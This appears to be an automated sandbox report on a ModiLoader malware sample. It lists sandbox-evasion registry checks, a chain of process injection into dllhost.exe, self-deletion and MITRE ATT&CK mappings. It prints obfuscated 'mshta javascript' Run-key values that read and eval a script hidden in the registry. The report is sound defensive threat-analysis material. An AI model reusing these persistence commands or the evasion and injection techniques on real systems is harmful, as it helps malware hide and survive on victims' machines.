modiloader | ec4dd9adb47e3642eb7726df35ed1c6ca85a9e1d5118aa844c0a7ef44c888662

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	dllhost.exe

ModiLoader Second Stage 42 IoCs

resource	yara_rule
behavioral1/memory/2196-12-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/2196-17-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/2196-21-0x000000000D8A0000-0x000000000D964000-memory.dmp	modiloader_stage2
behavioral1/memory/2196-18-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/2196-20-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral1/memory/2196-19-0x0000000000401000-0x0000000000404000-memory.dmp	modiloader_stage2
behavioral1/memory/2196-10-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/2196-8-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/2196-25-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/2196-24-0x000000000D8A0000-0x000000000D964000-memory.dmp	modiloader_stage2
behavioral1/memory/1884-27-0x00000000001B0000-0x0000000000274000-memory.dmp	modiloader_stage2
behavioral1/memory/1884-28-0x00000000001B0000-0x0000000000274000-memory.dmp	modiloader_stage2
behavioral1/memory/1884-32-0x00000000001B0000-0x0000000000274000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-36-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-40-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-43-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-42-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-41-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-39-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-37-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-35-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-38-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-44-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-45-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2888-48-0x0000000000230000-0x00000000002F4000-memory.dmp	modiloader_stage2
behavioral1/memory/2888-53-0x0000000000230000-0x00000000002F4000-memory.dmp	modiloader_stage2
behavioral1/memory/2888-51-0x0000000000230000-0x00000000002F4000-memory.dmp	modiloader_stage2
behavioral1/memory/2888-50-0x0000000000230000-0x00000000002F4000-memory.dmp	modiloader_stage2
behavioral1/memory/2888-49-0x0000000000230000-0x00000000002F4000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-58-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-60-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-62-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-59-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-57-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-56-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-55-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2960-54-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2324-68-0x00000000000F0000-0x00000000001B4000-memory.dmp	modiloader_stage2
behavioral1/memory/2324-69-0x00000000000F0000-0x00000000001B4000-memory.dmp	modiloader_stage2
behavioral1/memory/2324-67-0x00000000000F0000-0x00000000001B4000-memory.dmp	modiloader_stage2
behavioral1/memory/2324-66-0x00000000000F0000-0x00000000001B4000-memory.dmp	modiloader_stage2
behavioral1/memory/2324-65-0x00000000000F0000-0x00000000001B4000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:kUL9ZAFI=\"aGg9iG0C\";oB81=new%20ActiveXObject(\"WScript.Shell\");xNXlGg5t=\"I\";e2Lmi7=oB81.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\54fd4e78\\\\217d4236\");f7RFlpsk=\"FNrkV84QT\";eval(e2Lmi7);fkt0SxO3=\"Kb\";"	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	dllhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe

Deletes itself 1 IoCs

pid	Process
2960	dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:XUlK4gC9U=\"aFgLRcwQ1\";g8x6=new%20ActiveXObject(\"WScript.Shell\");mDGpDy6pS=\"Wahzp\";VHzG9=g8x6.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\54fd4e78\\\\217d4236\");EatXr9JL3t=\"OOe\";eval(VHzG9);KQ1KAHd5J=\"c8yTuo\";"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:t02wUGUhqj=\"Ln\";b5M=new%20ActiveXObject(\"WScript.Shell\");YGysJOK11p=\"t3A\";vDe1c=b5M.RegRead(\"HKCU\\\\software\\\\54fd4e78\\\\217d4236\");lvQaE7HV=\"o88d36s\";eval(vDe1c);KdvmVMJ4=\"TtMK\";"	dllhost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	dllhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1632 set thread context of 2196	1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	30

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\International	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe
1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe

Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
2196	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe
2196	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe
2196	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe
1884	dllhost.exe
1884	dllhost.exe
1884	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe
2960	dllhost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 2196	1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	30
PID 1632 wrote to memory of 2196	1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	30
PID 1632 wrote to memory of 2196	1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	30
PID 1632 wrote to memory of 2196	1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	30
PID 1632 wrote to memory of 2196	1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	30
PID 1632 wrote to memory of 2196	1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	30
PID 1632 wrote to memory of 2196	1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	30
PID 1632 wrote to memory of 2196	1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	30
PID 1632 wrote to memory of 2196	1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	30
PID 1632 wrote to memory of 2196	1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	30
PID 1632 wrote to memory of 2196	1632	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	30
PID 2196 wrote to memory of 1884	2196	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	31
PID 2196 wrote to memory of 1884	2196	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	31
PID 2196 wrote to memory of 1884	2196	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	31
PID 2196 wrote to memory of 1884	2196	b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe	31
PID 1884 wrote to memory of 2960	1884	dllhost.exe	32
PID 1884 wrote to memory of 2960	1884	dllhost.exe	32
PID 1884 wrote to memory of 2960	1884	dllhost.exe	32
PID 1884 wrote to memory of 2960	1884	dllhost.exe	32
PID 2960 wrote to memory of 2888	2960	dllhost.exe	34
PID 2960 wrote to memory of 2888	2960	dllhost.exe	34
PID 2960 wrote to memory of 2888	2960	dllhost.exe	34
PID 2960 wrote to memory of 2888	2960	dllhost.exe	34
PID 2960 wrote to memory of 2324	2960	dllhost.exe	35
PID 2960 wrote to memory of 2324	2960	dllhost.exe	35
PID 2960 wrote to memory of 2324	2960	dllhost.exe	35
PID 2960 wrote to memory of 2324	2960	dllhost.exe	35

C:\Users\Admin\AppData\Local\Temp\b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Users\Admin\AppData\Local\Temp\b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe
  C:\Users\Admin\AppData\Local\Temp\b836fdd3b16d5987f08761cc4267ec80_JaffaCakes118.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\SysWOW64\dllhost.exe
    dllhost.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1884
  - - C:\Windows\SysWOW64\dllhost.exe
      dllhost.exe
      4⤵
      Looks for VirtualBox Guest Additions in registry
      Adds policy Run key to start application
      Looks for VMWare Tools registry key
      Checks BIOS information in registry
      Deletes itself
      Adds Run key to start application
      Maps connected drives based on registry
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2960
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2888
    - - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion